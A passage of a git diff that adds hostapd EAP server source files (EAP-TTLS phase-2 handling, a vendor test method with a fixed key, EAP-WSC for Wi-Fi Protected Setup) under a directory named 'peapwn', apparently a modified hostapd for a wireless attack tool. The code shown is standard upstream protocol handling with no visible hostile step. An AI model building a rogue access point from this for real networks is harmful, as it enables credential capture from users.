eap_ttls_state(data, PHASE2_MSCHAPV2_RESP); + data->mschapv2_ident = response[0]; +} + + +static int eap_ttls_phase2_eap_init(struct eap_sm *sm, + struct eap_ttls_data *data, + EapType eap_type) +{ + if (data->phase2_priv && data->phase2_method) { + data->phase2_method->reset(sm, data->phase2_priv); + data->phase2_method = NULL; + data->phase2_priv = NULL; + } + data->phase2_method = eap_server_get_eap_method(EAP_VENDOR_IETF, + eap_type); + if (!data->phase2_method) + return -1; + + sm->init_phase2 = 1; + data->phase2_priv = data->phase2_method->init(sm); + sm->init_phase2 = 0; + return data->phase2_priv == NULL ? -1 : 0; +} + + +static void eap_ttls_process_phase2_eap_response(struct eap_sm *sm, + struct eap_ttls_data *data, + u8 *in_data, size_t in_len) +{ + u8 next_type = EAP_TYPE_NONE; + struct eap_hdr *hdr; + u8 *pos; + size_t left; + struct wpabuf buf; + const struct eap_method *m = data->phase2_method; + void *priv = data->phase2_priv; + + if (priv == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/EAP: %s - Phase2 not " + "initialized?!", __func__); + return; + } + + hdr = (struct eap_hdr *) in_data; + pos = (u8 *) (hdr + 1); + + if (in_len > sizeof(*hdr) && *pos == EAP_TYPE_NAK) { + left = in_len - sizeof(*hdr); + wpa_hexdump(MSG_DEBUG, "EAP-TTLS/EAP: Phase2 type Nak'ed; " + "allowed types", pos + 1, left - 1); + eap_sm_process_nak(sm, pos + 1, left - 1); + if (sm->user && sm->user_eap_method_index < EAP_MAX_METHODS && + sm->user->methods[sm->user_eap_method_index].method != + EAP_TYPE_NONE) { + next_type = sm->user->methods[ + sm->user_eap_method_index++].method; + wpa_printf(MSG_DEBUG, "EAP-TTLS: try EAP type %d", + next_type); + if (eap_ttls_phase2_eap_init(sm, data, next_type)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Failed to " + "initialize EAP type %d", + next_type); + eap_ttls_state(data, FAILURE); + return; + } + } else { + eap_ttls_state(data, FAILURE); + } + return; + } + + wpabuf_set(&buf, in_data, in_len); + + if (m->check(sm, priv, &buf)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/EAP: Phase2 check() asked to " + "ignore the packet"); + return; + } + + m->process(sm, priv, &buf); + + if (sm->method_pending == METHOD_PENDING_WAIT) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/EAP: Phase2 method is in " + "pending wait state - save decrypted response"); + wpabuf_free(data->pending_phase2_eap_resp); + data->pending_phase2_eap_resp = wpabuf_dup(&buf); + } + + if (!m->isDone(sm, priv)) + return; + + if (!m->isSuccess(sm, priv)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/EAP: Phase2 method failed"); + eap_ttls_state(data, FAILURE); + return; + } + + switch (data->state) { + case PHASE2_START: + if (eap_user_get(sm, sm->identity, sm->identity_len, 1) != 0) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP_TTLS: Phase2 " + "Identity not found in the user " + "database", + sm->identity, sm->identity_len); + eap_ttls_state(data, FAILURE); + break; + } + + eap_ttls_state(data, PHASE2_METHOD); + next_type = sm->user->methods[0].method; + sm->user_eap_method_index = 1; + wpa_printf(MSG_DEBUG, "EAP-TTLS: try EAP type %d", next_type); + if (eap_ttls_phase2_eap_init(sm, data, next_type)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Failed to initialize " + "EAP type %d", next_type); + eap_ttls_state(data, FAILURE); + } + break; + case PHASE2_METHOD: + eap_ttls_state(data, SUCCESS); + break; + case FAILURE: + break; + default: + wpa_printf(MSG_DEBUG, "EAP-TTLS: %s - unexpected state %d", + __func__, data->state); + break; + } +} + + +static void eap_ttls_process_phase2_eap(struct eap_sm *sm, + struct eap_ttls_data *data, + const u8 *eap, size_t eap_len) +{ + struct eap_hdr *hdr; + size_t len; + + if (data->state == PHASE2_START) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/EAP: initializing Phase 2"); + if (eap_ttls_phase2_eap_init(sm, data, EAP_TYPE_IDENTITY) < 0) + { + wpa_printf(MSG_DEBUG, "EAP-TTLS/EAP: failed to " + "initialize EAP-Identity"); + return; + } + } + + if (eap_len < sizeof(*hdr)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/EAP: too short Phase 2 EAP " + "packet (len=%lu)", (unsigned long) eap_len); + return; + } + + hdr = (struct eap_hdr *) eap; + len = be_to_host16(hdr->length); + wpa_printf(MSG_DEBUG, "EAP-TTLS/EAP: received Phase 2 EAP: code=%d " + "identifier=%d length=%lu", hdr->code, hdr->identifier, + (unsigned long) len); + if (len > eap_len) { + wpa_printf(MSG_INFO, "EAP-TTLS/EAP: Length mismatch in Phase 2" + " EAP frame (hdr len=%lu, data len in AVP=%lu)", + (unsigned long) len, (unsigned long) eap_len); + return; + } + + switch (hdr->code) { + case EAP_CODE_RESPONSE: + eap_ttls_process_phase2_eap_response(sm, data, (u8 *) hdr, + len); + break; + default: + wpa_printf(MSG_INFO, "EAP-TTLS/EAP: Unexpected code=%d in " + "Phase 2 EAP header", hdr->code); + break; + } +} + + +static void eap_ttls_process_phase2(struct eap_sm *sm, + struct eap_ttls_data *data, + struct wpabuf *in_buf) +{ + struct wpabuf *in_decrypted; + struct eap_ttls_avp parse; + + wpa_printf(MSG_DEBUG, "EAP-TTLS: received %lu bytes encrypted data for" + " Phase 2", (unsigned long) wpabuf_len(in_buf)); + + if (data->pending_phase2_eap_resp) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Pending Phase 2 EAP response " + "- skip decryption and use old data"); + eap_ttls_process_phase2_eap( + sm, data, wpabuf_head(data->pending_phase2_eap_resp), + wpabuf_len(data->pending_phase2_eap_resp)); + wpabuf_free(data->pending_phase2_eap_resp); + data->pending_phase2_eap_resp = NULL; + return; + } + + in_decrypted = tls_connection_decrypt(sm->ssl_ctx, data->ssl.conn, + in_buf); + if (in_decrypted == NULL) { + wpa_printf(MSG_INFO, "EAP-TTLS: Failed to decrypt Phase 2 " + "data"); + eap_ttls_state(data, FAILURE); + return; + } + + wpa_hexdump_buf_key(MSG_DEBUG, "EAP-TTLS: Decrypted Phase 2 EAP", + in_decrypted); + + if (eap_ttls_avp_parse(in_decrypted, &parse) < 0) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Failed to parse AVPs"); + wpabuf_free(in_decrypted); + eap_ttls_state(data, FAILURE); + return; + } + + if (parse.user_name) { + os_free(sm->identity); + sm->identity = os_malloc(parse.user_name_len); + if (sm->identity == NULL) { + eap_ttls_state(data, FAILURE); + goto done; + } + os_memcpy(sm->identity, parse.user_name, parse.user_name_len); + sm->identity_len = parse.user_name_len; + if (eap_user_get(sm, parse.user_name, parse.user_name_len, 1) + != 0) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Phase2 Identity not " + "found in the user database"); + eap_ttls_state(data, FAILURE); + goto done; + } + } + +#ifdef EAP_SERVER_TNC + if (data->tnc_started && parse.eap == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: TNC started but no EAP " + "response from peer"); + eap_ttls_state(data, FAILURE); + goto done; + } +#endif /* EAP_SERVER_TNC */ + + if (parse.eap) { + eap_ttls_process_phase2_eap(sm, data, parse.eap, + parse.eap_len); + } else if (parse.user_password) { + eap_ttls_process_phase2_pap(sm, data, parse.user_password, + parse.user_password_len); + } else if (parse.chap_password) { + eap_ttls_process_phase2_chap(sm, data, + parse.chap_challenge, + parse.chap_challenge_len, + parse.chap_password, + parse.chap_password_len); + } else if (parse.mschap_response) { + eap_ttls_process_phase2_mschap(sm, data, + parse.mschap_challenge, + parse.mschap_challenge_len, + parse.mschap_response, + parse.mschap_response_len); + } else if (parse.mschap2_response) { + eap_ttls_process_phase2_mschapv2(sm, data, + parse.mschap_challenge, + parse.mschap_challenge_len, + parse.mschap2_response, + parse.mschap2_response_len); + } + +done: + wpabuf_free(in_decrypted); + os_free(parse.eap); +} + + +static void eap_ttls_start_tnc(struct eap_sm *sm, struct eap_ttls_data *data) +{ +#ifdef EAP_SERVER_TNC + if (!sm->tnc || data->state != SUCCESS || data->tnc_started) + return; + + wpa_printf(MSG_DEBUG, "EAP-TTLS: Initialize TNC"); + if (eap_ttls_phase2_eap_init(sm, data, EAP_TYPE_TNC)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Failed to initialize TNC"); + eap_ttls_state(data, FAILURE); + return; + } + + data->tnc_started = 1; + eap_ttls_state(data, PHASE2_METHOD); +#endif /* EAP_SERVER_TNC */ +} + + +static int eap_ttls_process_version(struct eap_sm *sm, void *priv, + int peer_version) +{ + struct eap_ttls_data *data = priv; + if (peer_version < data->ttls_version) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: peer ver=%d, own ver=%d; " + "use version %d", + peer_version, data->ttls_version, peer_version); + data->ttls_version = peer_version; + } + + return 0; +} + + +static void eap_ttls_process_msg(struct eap_sm *sm, void *priv, + const struct wpabuf *respData) +{ + struct eap_ttls_data *data = priv; + + switch (data->state) { + case PHASE1: + if (eap_server_tls_phase1(sm, &data->ssl) < 0) + eap_ttls_state(data, FAILURE); + break; + case PHASE2_START: + case PHASE2_METHOD: + eap_ttls_process_phase2(sm, data, data->ssl.tls_in); + eap_ttls_start_tnc(sm, data); + break; + case PHASE2_MSCHAPV2_RESP: + if (data->mschapv2_resp_ok && wpabuf_len(data->ssl.tls_in) == + 0) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Peer " + "acknowledged response"); + eap_ttls_state(data, SUCCESS); + } else if (!data->mschapv2_resp_ok) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Peer " + "acknowledged error"); + eap_ttls_state(data, FAILURE); + } else { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Unexpected " + "frame from peer (payload len %lu, " + "expected empty frame)", + (unsigned long) + wpabuf_len(data->ssl.tls_in)); + eap_ttls_state(data, FAILURE); + } + eap_ttls_start_tnc(sm, data); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-TTLS: Unexpected state %d in %s", + data->state, __func__); + break; + } +} + + +static void eap_ttls_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_ttls_data *data = priv; + if (eap_server_tls_process(sm, &data->ssl, respData, data, + EAP_TYPE_TTLS, eap_ttls_process_version, + eap_ttls_process_msg) < 0) + eap_ttls_state(data, FAILURE); +} + + +static Boolean eap_ttls_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_ttls_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_ttls_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_ttls_data *data = priv; + u8 *eapKeyData; + + if (data->state != SUCCESS) + return NULL; + + eapKeyData = eap_server_tls_derive_key(sm, &data->ssl, + "ttls keying material", + EAP_TLS_KEY_LEN); + if (eapKeyData) { + *len = EAP_TLS_KEY_LEN; + wpa_hexdump_key(MSG_DEBUG, "EAP-TTLS: Derived key", + eapKeyData, EAP_TLS_KEY_LEN); + } else { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Failed to derive key"); + } + + return eapKeyData; +} + + +static Boolean eap_ttls_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_ttls_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_ttls_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_TTLS, "TTLS"); + if (eap == NULL) + return -1; + + eap->init = eap_ttls_init; + eap->reset = eap_ttls_reset; + eap->buildReq = eap_ttls_buildReq; + eap->check = eap_ttls_check; + eap->process = eap_ttls_process; + eap->isDone = eap_ttls_isDone; + eap->getKey = eap_ttls_getKey; + eap->isSuccess = eap_ttls_isSuccess; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_vendor_test.c b/peapwn/mods/hostap/src/eap_server/eap_server_vendor_test.c new file mode 100644 index 000000000..30f600d3b --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_vendor_test.c @@ -0,0 +1,192 @@ +/* + * hostapd / Test method for vendor specific (expanded) EAP type + * Copyright (c) 2005-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" + + +#define EAP_VENDOR_ID EAP_VENDOR_HOSTAP +#define EAP_VENDOR_TYPE 0xfcfbfaf9 + + +struct eap_vendor_test_data { + enum { INIT, CONFIRM, SUCCESS, FAILURE } state; +}; + + +static const char * eap_vendor_test_state_txt(int state) +{ + switch (state) { + case INIT: + return "INIT"; + case CONFIRM: + return "CONFIRM"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "?"; + } +} + + +static void eap_vendor_test_state(struct eap_vendor_test_data *data, + int state) +{ + wpa_printf(MSG_DEBUG, "EAP-VENDOR-TEST: %s -> %s", + eap_vendor_test_state_txt(data->state), + eap_vendor_test_state_txt(state)); + data->state = state; +} + + +static void * eap_vendor_test_init(struct eap_sm *sm) +{ + struct eap_vendor_test_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = INIT; + + return data; +} + + +static void eap_vendor_test_reset(struct eap_sm *sm, void *priv) +{ + struct eap_vendor_test_data *data = priv; + os_free(data); +} + + +static struct wpabuf * eap_vendor_test_buildReq(struct eap_sm *sm, void *priv, + u8 id) +{ + struct eap_vendor_test_data *data = priv; + struct wpabuf *req; + + req = eap_msg_alloc(EAP_VENDOR_ID, EAP_VENDOR_TYPE, 1, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-VENDOR-TEST: Failed to allocate " + "memory for request"); + return NULL; + } + + wpabuf_put_u8(req, data->state == INIT ? 1 : 3); + + return req; +} + + +static Boolean eap_vendor_test_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_ID, EAP_VENDOR_TYPE, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-VENDOR-TEST: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static void eap_vendor_test_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_vendor_test_data *data = priv; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_ID, EAP_VENDOR_TYPE, respData, &len); + if (pos == NULL || len < 1) + return; + + if (data->state == INIT) { + if (*pos == 2) + eap_vendor_test_state(data, CONFIRM); + else + eap_vendor_test_state(data, FAILURE); + } else if (data->state == CONFIRM) { + if (*pos == 4) + eap_vendor_test_state(data, SUCCESS); + else + eap_vendor_test_state(data, FAILURE); + } else + eap_vendor_test_state(data, FAILURE); +} + + +static Boolean eap_vendor_test_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_vendor_test_data *data = priv; + return data->state == SUCCESS; +} + + +static u8 * eap_vendor_test_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_vendor_test_data *data = priv; + u8 *key; + const int key_len = 64; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(key_len); + if (key == NULL) + return NULL; + + os_memset(key, 0x11, key_len / 2); + os_memset(key + key_len / 2, 0x22, key_len / 2); + *len = key_len; + + return key; +} + + +static Boolean eap_vendor_test_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_vendor_test_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_vendor_test_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_ID, EAP_VENDOR_TYPE, + "VENDOR-TEST"); + if (eap == NULL) + return -1; + + eap->init = eap_vendor_test_init; + eap->reset = eap_vendor_test_reset; + eap->buildReq = eap_vendor_test_buildReq; + eap->check = eap_vendor_test_check; + eap->process = eap_vendor_test_process; + eap->isDone = eap_vendor_test_isDone; + eap->getKey = eap_vendor_test_getKey; + eap->isSuccess = eap_vendor_test_isSuccess; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_wsc.c b/peapwn/mods/hostap/src/eap_server/eap_server_wsc.c new file mode 100644 index 000000000..97ec0c0ea --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_wsc.c @@ -0,0 +1,512 @@ +/* + * EAP-WSC server for Wi-Fi Protected Setup + * Copyright (c) 2007-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eloop.h" +#include "eap_i.h" +#include "eap_common/eap_wsc_common.h" +#include "p2p/p2p.h" +#include "wps/wps.h" + + +struct eap_wsc_data { + enum { START, MESG, FRAG_ACK, WAIT_FRAG_ACK, DONE, FAIL } state; + int registrar; + struct wpabuf *in_buf; + struct wpabuf *out_buf; + enum wsc_op_code in_op_code, out_op_code; + size_t out_used; + size_t fragment_size; + struct wps_data *wps; + int ext_reg_timeout; +}; + + +#ifndef CONFIG_NO_STDOUT_DEBUG +static const char * eap_wsc_state_txt(int state) +{ + switch (state) { + case START: + return "START"; + case MESG: + return "MESG"; + case FRAG_ACK: + return "FRAG_ACK"; + case WAIT_FRAG_ACK: + return "WAIT_FRAG_ACK"; + case DONE: + return "DONE"; + case FAIL: + return "FAIL"; + default: + return "?"; + } +} +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + +static void eap_wsc_state(struct eap_wsc_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-WSC: %s -> %s", + eap_wsc_state_txt(data->state), + eap_wsc_state_txt(state)); + data->state = state; +} + + +static void eap_wsc_ext_reg_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct eap_sm *sm = eloop_ctx; + struct eap_wsc_data *data = timeout_ctx; + + if (sm->method_pending != METHOD_PENDING_WAIT) + return; + + wpa_printf(MSG_DEBUG, "EAP-WSC: Timeout while waiting for an External " + "Registrar"); + data->ext_reg_timeout = 1; + eap_sm_pending_cb(sm); +} + + +static void * eap_wsc_init(struct eap_sm *sm) +{ + struct eap_wsc_data *data; + int registrar; + struct wps_config cfg; + + if (sm->identity && sm->identity_len == WSC_ID_REGISTRAR_LEN && + os_memcmp(sm->identity, WSC_ID_REGISTRAR, WSC_ID_REGISTRAR_LEN) == + 0) + registrar = 0; /* Supplicant is Registrar */ + else if (sm->identity && sm->identity_len == WSC_ID_ENROLLEE_LEN && + os_memcmp(sm->identity, WSC_ID_ENROLLEE, WSC_ID_ENROLLEE_LEN) + == 0) + registrar = 1; /* Supplicant is Enrollee */ + else { + wpa_hexdump_ascii(MSG_INFO, "EAP-WSC: Unexpected identity", + sm->identity, sm->identity_len); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = registrar ? START : MESG; + data->registrar = registrar; + + os_memset(&cfg, 0, sizeof(cfg)); + cfg.wps = sm->wps; + cfg.registrar = registrar; + if (registrar) { + if (sm->wps == NULL || sm->wps->registrar == NULL) { + wpa_printf(MSG_INFO, "EAP-WSC: WPS Registrar not " + "initialized"); + os_free(data); + return NULL; + } + } else { + if (sm->user == NULL || sm->user->password == NULL) { + /* + * In theory, this should not really be needed, but + * Windows 7 uses Registrar mode to probe AP's WPS + * capabilities before trying to use Enrollee and fails + * if the AP does not allow that probing to happen.. + */ + wpa_printf(MSG_DEBUG, "EAP-WSC: No AP PIN (password) " + "configured for Enrollee functionality - " + "allow for probing capabilities (M1)"); + } else { + cfg.pin = sm->user->password; + cfg.pin_len = sm->user->password_len; + } + } + cfg.assoc_wps_ie = sm->assoc_wps_ie; + cfg.peer_addr = sm->peer_addr; +#ifdef CONFIG_P2P + if (sm->assoc_p2p_ie) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Prefer PSK format for P2P " + "client"); + cfg.use_psk_key = 1; + cfg.p2p_dev_addr = p2p_get_go_dev_addr(sm->assoc_p2p_ie); + } +#endif /* CONFIG_P2P */ + cfg.pbc_in_m1 = sm->pbc_in_m1; + data->wps = wps_init(&cfg); + if (data->wps == NULL) { + os_free(data); + return NULL; + } + data->fragment_size = sm->fragment_size > 0 ? sm->fragment_size : + WSC_FRAGMENT_SIZE; + + return data; +} + + +static void eap_wsc_reset(struct eap_sm *sm, void *priv) +{ + struct eap_wsc_data *data = priv; + eloop_cancel_timeout(eap_wsc_ext_reg_timeout, sm, data); + wpabuf_free(data->in_buf); + wpabuf_free(data->out_buf); + wps_deinit(data->wps); + os_free(data); +} + + +static struct wpabuf * eap_wsc_build_start(struct eap_sm *sm, + struct eap_wsc_data *data, u8 id) +{ + struct wpabuf *req; + + req = eap_msg_alloc(EAP_VENDOR_WFA, EAP_VENDOR_TYPE_WSC, 2, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-WSC: Failed to allocate memory for " + "request"); + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-WSC: Send WSC/Start"); + wpabuf_put_u8(req, WSC_Start); /* Op-Code */ + wpabuf_put_u8(req, 0); /* Flags */ + + return req; +} + + +static struct wpabuf * eap_wsc_build_msg(struct eap_wsc_data *data, u8 id) +{ + struct wpabuf *req; + u8 flags; + size_t send_len, plen; + + flags = 0; + send_len = wpabuf_len(data->out_buf) - data->out_used; + if (2 + send_len > data->fragment_size) { + send_len = data->fragment_size - 2; + flags |= WSC_FLAGS_MF; + if (data->out_used == 0) { + flags |= WSC_FLAGS_LF; + send_len -= 2; + } + } + plen = 2 + send_len; + if (flags & WSC_FLAGS_LF) + plen += 2; + req = eap_msg_alloc(EAP_VENDOR_WFA, EAP_VENDOR_TYPE_WSC, plen, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-WSC: Failed to allocate memory for " + "request"); + return NULL; + } + + wpabuf_put_u8(req, data->out_op_code); /* Op-Code */ + wpabuf_put_u8(req, flags); /* Flags */ + if (flags & WSC_FLAGS_LF) + wpabuf_put_be16(req, wpabuf_len(data->out_buf)); + + wpabuf_put_data(req, wpabuf_head_u8(data->out_buf) + data->out_used, + send_len); + data->out_used += send_len; + + if (data->out_used == wpabuf_len(data->out_buf)) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Sending out %lu bytes " + "(message sent completely)", + (unsigned long) send_len); + wpabuf_free(data->out_buf); + data->out_buf = NULL; + data->out_used = 0; + eap_wsc_state(data, MESG); + } else { + wpa_printf(MSG_DEBUG, "EAP-WSC: Sending out %lu bytes " + "(%lu more to send)", (unsigned long) send_len, + (unsigned long) wpabuf_len(data->out_buf) - + data->out_used); + eap_wsc_state(data, WAIT_FRAG_ACK); + } + + return req; +} + + +static struct wpabuf * eap_wsc_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_wsc_data *data = priv; + + switch (data->state) { + case START: + return eap_wsc_build_start(sm, data, id); + case MESG: + if (data->out_buf == NULL) { + data->out_buf = wps_get_msg(data->wps, + &data->out_op_code); + if (data->out_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Failed to " + "receive message from WPS"); + return NULL; + } + data->out_used = 0; + } + /* pass through */ + case WAIT_FRAG_ACK: + return eap_wsc_build_msg(data, id); + case FRAG_ACK: + return eap_wsc_build_frag_ack(id, EAP_CODE_REQUEST); + default: + wpa_printf(MSG_DEBUG, "EAP-WSC: Unexpected state %d in " + "buildReq", data->state); + return NULL; + } +} + + +static Boolean eap_wsc_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_WFA, EAP_VENDOR_TYPE_WSC, + respData, &len); + if (pos == NULL || len < 2) { + wpa_printf(MSG_INFO, "EAP-WSC: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static int eap_wsc_process_cont(struct eap_wsc_data *data, + const u8 *buf, size_t len, u8 op_code) +{ + /* Process continuation of a pending message */ + if (op_code != data->in_op_code) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unexpected Op-Code %d in " + "fragment (expected %d)", + op_code, data->in_op_code); + eap_wsc_state(data, FAIL); + return -1; + } + + if (len > wpabuf_tailroom(data->in_buf)) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Fragment overflow"); + eap_wsc_state(data, FAIL); + return -1; + } + + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-WSC: Received %lu bytes, waiting for %lu " + "bytes more", (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + + return 0; +} + + +static int eap_wsc_process_fragment(struct eap_wsc_data *data, + u8 flags, u8 op_code, u16 message_length, + const u8 *buf, size_t len) +{ + /* Process a fragment that is not the last one of the message */ + if (data->in_buf == NULL && !(flags & WSC_FLAGS_LF)) { + wpa_printf(MSG_DEBUG, "EAP-WSC: No Message Length " + "field in a fragmented packet"); + return -1; + } + + if (data->in_buf == NULL) { + /* First fragment of the message */ + data->in_buf = wpabuf_alloc(message_length); + if (data->in_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-WSC: No memory for " + "message"); + return -1; + } + data->in_op_code = op_code; + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-WSC: Received %lu bytes in " + "first fragment, waiting for %lu bytes more", + (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + } + + return 0; +} + + +static void eap_wsc_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_wsc_data *data = priv; + const u8 *start, *pos, *end; + size_t len; + u8 op_code, flags; + u16 message_length = 0; + enum wps_process_res res; + struct wpabuf tmpbuf; + + eloop_cancel_timeout(eap_wsc_ext_reg_timeout, sm, data); + if (data->ext_reg_timeout) { + eap_wsc_state(data, FAIL); + return; + } + + pos = eap_hdr_validate(EAP_VENDOR_WFA, EAP_VENDOR_TYPE_WSC, + respData, &len); + if (pos == NULL || len < 2) + return; /* Should not happen; message already verified */ + + start = pos; + end = start + len; + + op_code = *pos++; + flags = *pos++; + if (flags & WSC_FLAGS_LF) { + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Message underflow"); + return; + } + message_length = WPA_GET_BE16(pos); + pos += 2; + + if (message_length < end - pos) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Invalid Message " + "Length"); + return; + } + } + + wpa_printf(MSG_DEBUG, "EAP-WSC: Received packet: Op-Code %d " + "Flags 0x%x Message Length %d", + op_code, flags, message_length); + + if (data->state == WAIT_FRAG_ACK) { + if (op_code != WSC_FRAG_ACK) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unexpected Op-Code %d " + "in WAIT_FRAG_ACK state", op_code); + eap_wsc_state(data, FAIL); + return; + } + wpa_printf(MSG_DEBUG, "EAP-WSC: Fragment acknowledged"); + eap_wsc_state(data, MESG); + return; + } + + if (op_code != WSC_ACK && op_code != WSC_NACK && op_code != WSC_MSG && + op_code != WSC_Done) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unexpected Op-Code %d", + op_code); + eap_wsc_state(data, FAIL); + return; + } + + if (data->in_buf && + eap_wsc_process_cont(data, pos, end - pos, op_code) < 0) { + eap_wsc_state(data, FAIL); + return; + } + + if (flags & WSC_FLAGS_MF) { + if (eap_wsc_process_fragment(data, flags, op_code, + message_length, pos, end - pos) < + 0) + eap_wsc_state(data, FAIL); + else + eap_wsc_state(data, FRAG_ACK); + return; + } + + if (data->in_buf == NULL) { + /* Wrap unfragmented messages as wpabuf without extra copy */ + wpabuf_set(&tmpbuf, pos, end - pos); + data->in_buf = &tmpbuf; + } + + res = wps_process_msg(data->wps, op_code, data->in_buf); + switch (res) { + case WPS_DONE: + wpa_printf(MSG_DEBUG, "EAP-WSC: WPS processing completed " + "successfully - report EAP failure"); + eap_wsc_state(data, FAIL); + break; + case WPS_CONTINUE: + eap_wsc_state(data, MESG); + break; + case WPS_FAILURE: + wpa_printf(MSG_DEBUG, "EAP-WSC: WPS processing failed"); + eap_wsc_state(data, FAIL); + break; + case WPS_PENDING: + eap_wsc_state(data, MESG); + sm->method_pending = METHOD_PENDING_WAIT; + eloop_cancel_timeout(eap_wsc_ext_reg_timeout, sm, data); + eloop_register_timeout(5, 0, eap_wsc_ext_reg_timeout, + sm, data); + break; + } + + if (data->in_buf != &tmpbuf) + wpabuf_free(data->in_buf); + data->in_buf = NULL; +} + + +static Boolean eap_wsc_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_wsc_data *data = priv; + return data->state == FAIL; +} + + +static Boolean eap_wsc_isSuccess(struct eap_sm *sm, void *priv) +{ + /* EAP-WSC will always result in EAP-Failure */ + return FALSE; +} + + +static int eap_wsc_getTimeout(struct eap_sm *sm, void *priv) +{ + /* Recommended retransmit times: retransmit timeout 5 seconds, + * per-message timeout 15 seconds, i.e., 3 tries. */ + sm->MaxRetrans = 2; /* total 3 attempts */ + return 5; +} + + +int eap_server_wsc_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_WFA, EAP_VENDOR_TYPE_WSC, + "WSC"); + if (eap == NULL) + return -1; + + eap->init = eap_wsc_init; + eap->reset = eap_wsc_reset; + eap->buildReq = eap_wsc_buildReq; + eap->check = eap_wsc_check; + eap->process = eap_wsc_process; + eap->isDone = eap_wsc_isDone; + eap->isSuccess = eap_wsc_isSuccess; + eap->getTimeout = eap_wsc_getTimeout; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff 